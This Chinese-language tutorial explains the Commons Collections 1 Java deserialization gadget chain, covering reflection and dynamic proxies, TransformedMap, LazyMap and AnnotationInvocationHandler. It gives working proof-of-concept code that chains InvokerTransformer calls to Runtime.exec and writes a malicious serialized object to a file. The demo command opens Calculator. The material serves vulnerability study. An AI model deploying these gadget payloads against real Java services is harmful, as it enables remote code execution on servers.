CommonsCollection1
1、前置知识
1.1、反射基础知识
1.1.1、 对象与类的基础知识
类（class），对象（object）
对象是类的实例化，中华田园犬（object）是狗(class)的实例化
类是对象的抽象化，狗(class)是中华田园犬（object）抽象化
1.1.2、反射获取对象过程
1、我们可以通过以下三种方法获取Class对象类型
Class classType = String.class;
Class classType = new String().getClass();/*new String()是一个对象*/
Class classType = Class.forName("java.lang.String");
2、在Class类中包含着很多方法函数，其中在本章节使用最频繁的就是
getName()：获得类的完整名字。
getFields()：获得类的public类型的属性。
getDeclaredFields()：获得类的所有属性。
getMethods()：获得类的public类型的方法。
getDeclaredMethods()：获得类的所有方法。
getMethod(String name, Class[] parameterTypes)：获得类的特定方法，name参数指定方法的名字，parameterTypes参数指定方法的参数类型。
getConstrutors()：获得类的public类型的构造方法。
getConstrutor(Class[] parameterTypes)：获得类的特定构造方法，parameterTypes参数指定构造方法的参数类型。
newInstance()：通过类的不带参数的构造方法创建这个类的一个对象。
2、通过默认构造方法创建一个新的对象，即先调用Class类的getConstructor()方法获得一个Constructor对象，它代表默认的构造方法，然后调用Constructor对象的newInstance()方法构造一个实例。（此处new Class[]{}、new Object[]{}表示空参数，既调用默认的无参数的构造方法）
Object objectCopy=classType.getConstructor(new Class[]{}).newInstance(new Object[]{});
3、获得对象的所有属性，即通过Class类的getDeclaredFields()方法返回类的所有属性，包括public、protected、default和private访问级别的属性
Field fields[]=classType.getDeclaredFields();
4、获得每个属性相应的get/set方法，然后执行这些方法，把原来的对象属性拷贝到新的对象中。
这里我们可以写一个InvokeTester的类，然后运用反射机制调用一个InvokeTester对象的add()方法（自定义方法），如add()方法的两个参数为int类型，那么获取表示add()方法的Method对象代码如下：
Method addMethod=classType.getMethod("add",new Class[]{int.class,int.class});
5、反射调用addMethod方法
//获得和属性对应的getXXX()方法
Method getMethod=classType.getMethod(getMethodName,new Class[]{});
//获得和属性对应的setXXX()方法
Method setMethod=classType.getMethod(setMethodName,new Class[]{field.getType()});
//具体实施（第四点描述）
Method addMethod=classType.getMethod("add",new Class[]{int.class,int.class});
//调用原对象的getXXX()方法
Object value=getMethod.invoke(object,new Object[]{});
System.out.println(fieldName+":"+value);
//调用拷贝对象的setXXX()方法
setMethod.invoke(objectCopy,new Object[]{value});
addMethod.invoke()
6、具体一个小例子
首先有个Users类，他有属性名字(name)、年龄(age)和会算加法()
public class Users {
String name;
int age;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
public int add(int num1, int num2){
int addnum= num1+num2;
return addnum;
}
}
那么我们反射获取他的某一个user对象的名字、年龄和加法
第一反射获取多参数的方法add
import java.lang.reflect.Method;
public class Test {
public static void main(String[] args) throws Exception {
//反射获取类对象类型，这里获取的是Users类对象类型
Class users = Class.forName("Users");
//类对象类型实例化,，即先调用Class类的getConstructor()方法获得一个Constructor对象，它代表默认的构造方法,然后调用Constructor对象的newInstance()方法构造一个实例。（此处new Class[]{}、new Object[]{}表示空参数，既调用默认的无参数的构造方法）
Object user = users.getConstructor(new Class[]{}).newInstance(new Object[]{});
//反射获取指定的类对象类型的add方法,add方法需要两个参数，参数类型为int型，getMethod类型的第二个参数必须是Class对象类型
Method add = users.getMethod("add", new Class[]{int.class, int.class});
//add方法反射调用(invoke)user对象，并且传入add方法的俩个参数值，invoke方法的参数必须是object对象
Object num = add.invoke(user, new Object[]{1, 2});
System.out.println((Integer) num);
}
}
反射调用单参数的方法setName和无参数方法getName
import java.lang.reflect.Method;
public class Test {
public static void main(String[] args) throws Exception {
/*
//反射获取类对象类型，这里获取的是Users类对象类型
Class users = Class.forName("Users");
//类对象类型实例化,，即先调用Class类的getConstructor()方法获得一个Constructor对象，它代表默认的构造方法,然后调用Constructor对象的newInstance()方法构造一个实例。（此处new Class[]{}、new Object[]{}表示空参数，既调用默认的无参数的构造方法）
Object user = users.getConstructor(new Class[]{}).newInstance(new Object[]{});
//反射获取指定的类对象类型的add方法,add方法需要两个参数，参数类型为int型，getMethod类型的第二个参数必须是Class对象类型
Method add = users.getMethod("add", new Class[]{int.class, int.class});
//add方法反射调用(invoke)user对象，并且传入add方法的俩个参数值，invoke方法的参数必须是object对象
Object num = add.invoke(user, new Object[]{1, 2});
System.out.println((Integer) num);
*/
Class users = Class.forName("Users");
Object zhangsan = users.getConstructor(new Class[]{}).newInstance(new Object[]{});
//反射获取Users类的setName()方法 ,需要传入setName的所需的参数类型，此处为String.class类型
Method setName = users.getMethod("setName", new Class[]{String.class});
//反射设置zhangsan对象实例的名字为张三
setName.invoke(zhangsan,new Object[]{"张三"});
//反射获取Users类的getName()方法，需要传入getName的参数类型，此处为空
Method getName = users.getMethod("getName", new Class[]{});
//反射获取zhangsan对象实例的名字
Object Name = getName.invoke(zhangsan);
System.out.println((String) Name);
}
}
1.1.3、反射的基本用法
反射又有很多琐碎的点，这里只讲它的基本用法如果当前拥有一个对象的话，那么可以动态的调用该对象的所有方法
// Step1 获取Class对象
Class cls = obj.getClass();
// Step2 获取想要的方法对象
Method mth = cls.getMethod("MethodName",new Class[]{arg1_type,arg2_type});
// Step3 调用方法
mth.invoke(obj,new Object[]{arg1,arg2})
这里注意的是getMethod的第二个参数为Class数组，Class的概念我们之前也提到过。
1.2、动态代理知识
动态代理需要理解反射包的三个类
反射包 java.lang.reflect 的三个类：InvocationHandler,Method,Proxy
InvocationHandler
这个类其实就一个方法就是invoke方法，该方法用代理商在不改变代理对象的情况，需要添加的功能
参数：
Object proxy：jdk的代理类，无需赋值
Method method：代理对象的方法，jdk提供的Method的对象
Object[] args：代理对象的方法执行的参数
package java.lang.reflect;
public interface InvocationHandler {
public Object invoke(Object proxy, Method method, Object[] args)
throws Throwable;
}
Method
Method方法主要在InvocationHandler的invoke方法中实现，表示执行代理对象的方法
Method.invoke(目标的对象，方法的参数)
Proxy
newProxyInstance的方法的三个参数为
ClassLoader loader：类加载器，负责向内存中加载对象的。使用反射获取的
Class[] interfaces ：目标对象实现的接口，也是反射获取的
InvocationHandler h：我们自己写的，代理需要完成的功能
举个具体里的例子（Usb）
首先实现一个统一的买usb的接口，里面有一个卖usb的方法
public interface Usbsell {
float sell(int acount);
}
金士顿厂家要卖usb，所以继承这个接口,他买85元
package com.akkacloud.factory;
import com.akkacloud.service.Usbsell;
public class UsbKingFactor implements Usbsell {
@Override
public float sell(int acount) {
return 85.0f;
}
}
我们是一个商店，去买我们要赚差价
第一种写法，直接在主函数中创建我们的InvocationHandler接口
package com.akkacloud;
import com.akkacloud.factory.UsbKingFactor;
import com.akkacloud.handler.MysellHandler;
import com.akkacloud.service.Usbsell;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
public class MainShop {
public static void main(String[] args) {
//创建代理对象，使用proxy
//创建目标类对象，就是厂家
UsbKingFactor usbKingFactor = new UsbKingFactor();
//创建代理对象
Usbsell proxy = (Usbsell) Proxy.newProxyInstance(usbKingFactor.getClass().getClassLoader(),
usbKingFactor.getClass().getInterfaces(), new InvocationHandler() {
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
Object res = method.invoke(usbKingFactor, args);
res= (float)res+35;
return res;
}
}
);
//通过代理对象执行sell
float price = proxy.sell(1);
System.out.println("通过代理的价格："+price);
}
}
第二种我们先实现InvocationHandler接口，再写主函数
首先我们要实现我们的InvocationHandler接口，我们实施加价25块
package com.akkacloud.handler;
import java.io.File;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
public class MysellHandler implements InvocationHandler{
private Object target;
public MysellHandler(Object target) {
this.target = target;
}
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
//想厂家订购1个商品
// float price = factory.sell(1);
Object res = method.invoke(target, args);
//中间商赚差价
//price = price+25;
if(res!=null){
float price = (float) res;
price=price+25;
res =price;
}
return res;
}
}
然后实现我们的商店代码
package com.akkacloud;
import com.akkacloud.factory.UsbKingFactor;
import com.akkacloud.handler.MysellHandler;
import com.akkacloud.service.Usbsell;
import java.lang.reflect.Proxy;
public class MainShop {
public static void main(String[] args) {
//创建代理对象，使用proxy
//创建目标类对象，就是厂家
UsbKingFactor usbKingFactor = new UsbKingFactor();
//创建invocationHandler对象，传入代理商的厂家为usbking
MysellHandler mysellHandler = new MysellHandler(usbKingFactor);
//创建代理对象
Usbsell proxy = (Usbsell) Proxy.newProxyInstance(usbKingFactor.getClass().getClassLoader(),
usbKingFactor.getClass().getInterfaces(),mysellHandler
);
//通过代理对象执行sell
float price = proxy.sell(1);
System.out.println("通过代理的价格："+price);
}
}
执行结果
1.3、调试所需类相关的知识和作用
Transformer
transformer的是Commons Collections包中提供的一个接口
package org.apache.commons.collections;
public interface Transformer {
Object transform(Object var1);
}
ConstantTransformer
ConstantTransformer是Transformer的实现类
构造方法中实现对iConstant赋值，transform方法用于获取iConstant的值
public class ConstantTransformer implements Transformer, Serializable {
static final long serialVersionUID = 6374440726369055124L;
public static final Transformer NULL_INSTANCE = new ConstantTransformer((Object)null);
private final Object iConstant;
public static Transformer getInstance(Object constantToReturn) {
return (Transformer)(constantToReturn == null ? NULL_INSTANCE : new ConstantTransformer(constantToReturn));
}
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}
public Object transform(Object input) {
return this.iConstant;
}
public Object getConstant() {
return this.iConstant;
}
}
InvokerTransformer
InvokerTransformer也是Transform的实现类
构造方法里传入Strin iMethodName(字符串类型的函数名)、Class[] iParamTypes(函数的参数类型）)、Object[] iArgs(函数的参数列表)
transform方法是用Java反射机制来进行执行任意代码
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var7) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
}
}
}
ChainedTransformer
ChainedTransformer也是Transformer的实现类
构造方法是把数组类型的Transformer[] 赋值给iTransformers
transform方法是通过传入Trasnformer[]数组既iTransformers，对传入的数组进行遍历并且调用数组对象的transform方法。
Map
Transform来执行命令需要绑定到Map上，抽象类AbstractMapDecorator是Apache Commons Collections提供的一个类，实现类有很多，比如LazyMap、TransformedMap等，这些类都有一个decorate()方法，用于将上述的Transformer实现类绑定到Map上，当对Map进行一些操作时，会自动触发Transformer实现类的tranform()方法，不同的Map类型有不同的触发规则
TransformedMap
Transformer的实现类分别绑定到map的key和value上，当map的key或value被修改时，会调用对应Transformer实现类的transform()方法。
通过decorate方法去调用构造方法,把map、keyTransformer、valueTransformer传入，当调用put的方法修改key或者value时，就会调用transform()
我们可以把chainedtransformer绑定到一个TransformedMap上，当此map的key或value发生改变时，就会自动触发chainedtransformer的transform()方法
//构造方法
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
......
//改变key时、调用transform
protected Object transformKey(Object object) {
return this.keyTransformer == null ? object : this.keyTransformer.transform(object);
}
......
//改变value是，调用transform
protected Object transformValue(Object object) {
return this.valueTransformer == null ? object : this.valueTransformer.transform(object);
}
.....
//put方法用来修改
public Object put(Object key, Object value) {
key = this.transformKey(key);
value = this.transformValue(value);
return this.getMap().put(key, value);
}
LazyMap
lazyMap也是Map的实现类
//构造方法
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
//对传入的map和Transformer实例化
protected LazyMap(Map map, Factory factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
} else {
this.factory = FactoryTransformer.getInstance(factory);
}
}
//调用get时，当key不存在时，调用Transformer实现类的transform()方法
public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
}
当调用tmpmap.get(key)的key不存在时，会调用TestTransformer的transform()方法
这些不同的Map类型之间的差异也正是CommonsColletions有那么多gadget的原因之一
Map tmpmap = LazyMap.decorate(normalMap, TestTransformer);
2、漏洞复现
由于前面分析了CC1的利用链，但是发现在CC1的利用链中是有版本的限制的。在JDK1.8 8u71版本以后，对AnnotationInvocationHandler的readobject进行了改写。导致高版本中利用链无法使用
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class CommonCollection1 {
public static void main(String[] args) {
//此处构建了一个transformers的数组，在其中构建了任意函数执行的核心代码
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"open /System/Applications/Calculator.app"})
};
//将transformers数组存入ChaniedTransformer这个继承类
Transformer transformerChain = new ChainedTransformer(transformers);
//创建Map并绑定transformerChina
Map innerMap = new HashMap();
innerMap.put("value", "value");
//给予map数据转化链
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
//触发漏洞
Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
//outerMap后一串东西，其实就是获取这个map的第一个键值对（value,value）；然后转化成Map.Entry形式，这是map的键值对数据格式
onlyElement.setValue("foobar");
}
}
3、漏洞分析
transformers
先分析第一段
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"open /System/Applications/Calculator.app"})
};
//将transformers数组存入ChaniedTransformer这个继承类
Transformer transformerChain = new ChainedTransformer(transformers);
首先new一个Transformer数组
Transformer[] transformers = new Transformer[] {}
然后通过ChainedTransformer类的transform()方法，循环获取反射获取指定的命令执行函数函数
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
首先看第一个类ConstantTransformer运行transform()方法后，返回的是Runtime.Class
我们通过查看ConstantTransformer方法可知，Runtime.Class传入后通过构造方法赋值给iConstant，然后return这个iConstant赋值给object
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}
public Object transform(Object input) {
return this.iConstant;
}
我们看第二类InvokerTransformer，其实这个类翻译过来就是反射转换，把Runtime.Class作为参数值传给InvokerTransformer的transform方法，就是下面的式子
object=InvokerTransformer.transform(Runtime.Class)
然后我们进入到InvokerTransformer.transform()方法查看，确实传入的是Runtime().Class，
首先我们来继续看InvokerTransformer的构造方法，第一个参数的意思是函数名，第二个参数的意思是参数类型，第三个是参数，
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
再看InvokerTransformer的transform方法，其实就是反射调用构造方法中赋值的函数
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var7) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
}
}
}
我们回到我们刚才调试的点,这三个参数分别是如下，函数名是getMethod,
getMethod.invoke(Runtime.Class,String.Class,getRunTime），反射调用后就是Runtime.getRuntime(),继续传入object
第三次传入的是object是Runtime.getRuntime()，函数名是invoke，参数值是null，invoke.invoke(Runtime.getRuntime(),Object.Class,null)，由于Runtime是单例模式，需要执行他的getRuntime方法来获取Runtime类的实例化对象，所以这里用Invoke反射执行了getRuntime所以就获得了Runtime的实例对象
第四次传入的object是Runtime的实例化对象,函数名是exec()，参数是"open /System/Application/Calculator.app",就是执行了Runtime.getRuntime().exec().
通过ConstantTransformer得到Runtime.class,然后再InvokerTransformer反射得到getRuntime方法，然后通过反射执行invoke才能去调用getRuntime方法，这样得到一个Runtime对象，然后再去调用Runtime对象的exec方法去达到命令执行。
Runtime.getRuntime().invoke(null).exec("open /System/Application/Calculator.app");
上面那么多其实最简单的方法是自己先写一遍反射执行Runtime的Rce，如：
Class runtimeClass = Runtime.class;
Method getRuntime = runtimeClass.getMethod("getRuntime", null);//getMethod获取getRuntime方法，参数为空
Runtime runtime = (Runtime) getRuntime.invoke(null, null);//反射执行getRuntime方法获取Runtime实例，invoke方法需要两个参数，执行的对象和执行的的参数，因为getRuntime为static方法，反射调用时执行的对象直接传null就行。
Method exec = runtimeClass.getMethod("exec", String.class);//反射获取Runtime的exec方法
exec.invoke(runtime, "open /System/Applications/Calculator.app");//反射执行
然后我们再通过ConstantTransformer和InvokerTransformer的transform方法的规则实现一下就很好理解了
Object runtime= new ConstantTransformer(Runtime.class).transform(null);
Object getMethod = new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}).transform(runtime);
Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getMethod);
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app"}).transform(r);
可以看出都是调用transform方法，且输入的参数为上一个参数的结果
加入ConstantTransformer去循环调用transform
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(null);
第一段ChainedTransformer就是为了执行这段命令，但是我们想在需要去ChainedTransformer.transform方法
TransformedMap类
前置知识我们说过，通过调用TransformedMap.decorate()，再调用TransformedMap的构造方法赋值参数，参数分别是Map、更换的key值、更换的value值，我们通过put方法调用transformKey、transformValue方法来更换Map的key和value，而这时候最重要的是transformValue、transformKey方法调用了transform方法，也就是说我们把ChainedTransformer传给decorate方法的valueTransformer，当调用put方法时就可以调用ChainedTransformer的transform方法了。
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
protected Object transformKey(Object object) {
return this.keyTransformer == null ? object : this.keyTransformer.transform(object);
}
protected Object transformValue(Object object) {
return this.valueTransformer == null ? object : this.valueTransformer.transform(object);
}
public Object put(Object key, Object value) {
key = this.transformKey(key);
value = this.transformValue(value);
return this.getMap().put(key, value);
}
漏洞利用
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class CommonCollection1 {
public static void main(String[] args) {
//此处构建了一个transformers的数组，在其中构建了任意函数执行的核心代码
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"open /System/Applications/Calculator.app"})
};
//将transformers数组存入ChaniedTransformer这个继承类
Transformer transformerChain = new ChainedTransformer(transformers);
//创建Map并绑定transformerChina
Map innerMap = new HashMap();
innerMap.put("value", "value");
//给予map数据转化链
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
outerMap.put("1","1");
// //触发漏洞
// Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
// //outerMap后一串东西，其实就是获取这个map的第一个键值对（value,value）；然后转化成Map.Entry形式，这是map的键值对数据格式
// onlyElement.setValue("foobar");
}
}
在这里我们是使用了代码直接的让他去弹出一个计算器，但是在实际运用中，需要将该代码转换为序列化流。在实际运用中需要我们需要找到⼀个类，它在反序列化的readObject读取我们序列化的流文件。在分析该链的时候也比较乱，下篇文章重新来完整的调试一下。
LazyMap
在分析前先来看看LazyMap这个类，这个类和TransformedMap类似。都是AbstractMapDecorator继承抽象类是Apache Commons Collections提供的一个类。在两个类不同点在于TransformedMap是在put方法去触发transform方法，而LazyMap是在get方法去调用方法
public class LazyMap extends AbstractMapDecorator implements Map, Serializable {
private static final long serialVersionUID = 7990956402564206740L;
protected final Transformer factory;
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
} else {
this.factory = factory;
}
}
public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
}
}
当调用get(key)的key不存在时，会调用transformerChain的transform()方法。
修改一下poc，使用LazyMap的get方法来触发命令执行试试
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class CommonCollection1 {
public static void main(String[] args) {
//此处构建了一个transformers的数组，在其中构建了任意函数执行的核心代码
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"open /System/Applications/Calculator.app"})
};
//将transformers数组存入ChaniedTransformer这个继承类
Transformer transformerChain = new ChainedTransformer(transformers);
//创建Map并绑定transformerChina
Map innerMap = new HashMap();
innerMap.put("value", "value");
//给予map数据转化链
Map tmpmap = LazyMap.decorate(innerMap, transformerChain);
tmpmap.get("1");
}
}
AnnotationInvocationHandler
AnnotationInvocationHandler该类是用来处理注解的。
查看AnnotationInvocationHandler类的构造函数有两个参数，第⼀个参数是⼀个Annotation类类型参数，第二个是map类型参数
Annotation类类型参数传给var1，map类型传给类var1==》TransformedMap.decorate(innerMap,transformerChain)
AnnotationInvocationHandler(Class var1, Map var2) {
Class[] var3 = var1.getInterfaces();
if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
this.type = var1;
this.memberValues = var2;
} else {
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
}
}
利用链主要用到了AnnotationInvocationHandler的invoke方法和readObject方法
invoke方法主要为三个参数(对象类型，方法类型，对象数组)
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
} else if (var5.length != 0) {
throw new AssertionError("Too many parameters for an annotation method");
} else {
byte var7 = -1;
switch(var4.hashCode()) {
case -1776922004:
if (var4.equals("toString")) {
var7 = 0;
}
break;
case 147696667:
if (var4.equals("hashCode")) {
var7 = 1;
}
break;
case 1444986633:
if (var4.equals("annotationType")) {
var7 = 2;
}
}
switch(var7) {
case 0:
return this.toStringImpl();
case 1:
return this.hashCodeImpl();
case 2:
return this.type;
default:
Object var6 = this.memberValues.get(var4);
if (var6 == null) {
throw new IncompleteAnnotationException(this.type, var4);
} else if (var6 instanceof ExceptionProxy) {
throw ((ExceptionProxy)var6).generateException();
} else {
if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
var6 = this.cloneArray(var6);
}
return var6;
}
}
}
}
重要式子
memberValues就是构造函数赋值的，存储这我们的恶意的map
Object var6 = this.memberValues.get(var4)
就是AnnotationInvocationHandler调用invoke方法，调用Lazymap的get方法，调用transform方法
readObject方法
我们看到第四行
Map var4 = (Map)var2.get("memberValues", (Object)null)
memberValues.的值赋值给var4
var4调用了entrySet().iterator()方法
var4.entrySet().iterator()
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
GetField var2 = var1.readFields();
Class var3 = (Class)var2.get("type", (Object)null);
Map var4 = (Map)var2.get("memberValues", (Object)null);
AnnotationType var5 = null;
try {
var5 = AnnotationType.getInstance(var3);
} catch (IllegalArgumentException var13) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map var6 = var5.memberTypes();
LinkedHashMap var7 = new LinkedHashMap();
String var10;
Object var11;
for(Iterator var8 = var4.entrySet().iterator(); var8.hasNext(); var7.put(var10, var11)) {
Entry var9 = (Entry)var8.next();
var10 = (String)var9.getKey();
var11 = null;
Class var12 = (Class)var6.get(var10);
if (var12 != null) {
var11 = var9.getValue();
if (!var12.isInstance(var11) && !(var11 instanceof ExceptionProxy)) {
var11 = (new AnnotationTypeMismatchExceptionProxy(var11.getClass() + "[" + var11 + "]")).setMember((Method)var5.members().get(var10));
}
}
}
AnnotationInvocationHandler.UnsafeAccessor.setType(this, var3);
AnnotationInvocationHandler.UnsafeAccessor.setMemberValues(this, var7);
}
POC
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class CommonCollection1 {
public static void main(String[] args) throws Exception {
//此处构建了一个transformers的数组，在其中构建了任意函数执行的核心代码
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"open /System/Applications/Calculator.app"})
};
//循环反射调用InvokerTransformer.transform()方法执行Rce
Transformer transformerChain = new ChainedTransformer(transformers);
//通过LazyMap的get方法调用ChainedTransformer.transform()方法
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
//反射创建AnnotationInvocationHandler方法，把恶意的LazyMap赋值给InvocationHandler，因为AnnotationInvocationHandler实现了InvocationHandler接口
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class,Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.txt"));
oos.writeObject(handler);
}
}
}
我们先来看第一段
反射创建AnnotationInvocationHandler类，实例化对象时把Retention.class、 outerMap传给InvocationHandler接口，因为AnnotationInvocationHandler实现了InvocationHandler方法
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
第二段动态代理
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
- 第一个参数：People.getClass().getClassLoader()，使用handler对象的
classloader对象来加载我们的代理对象 - 第二个参数：Person.getClass().getInterfaces()，这里为代理类提供的接口 是真实对象实现的接口，这样代理对象就能像真实对象一样调用接口中的所有方法
- 第三个参数：我们将代理对象关联到上面的InvocationHandler对象上
那么在这段poc的执行中执行反序列化的时候，服务器读取了我们的恶意序列化文件，把他反序列化，AnnotationInvocationHandler重写了readObject()方法，所以调用的是AnnotationInvocationHandler的readObject()方法。readObject()方法会去调用memberValues的entrySet()方法。这里的memberValues是构造方法传入进来的参数，我们是使用反射的方式对他进行创建传入的是proxyMap。
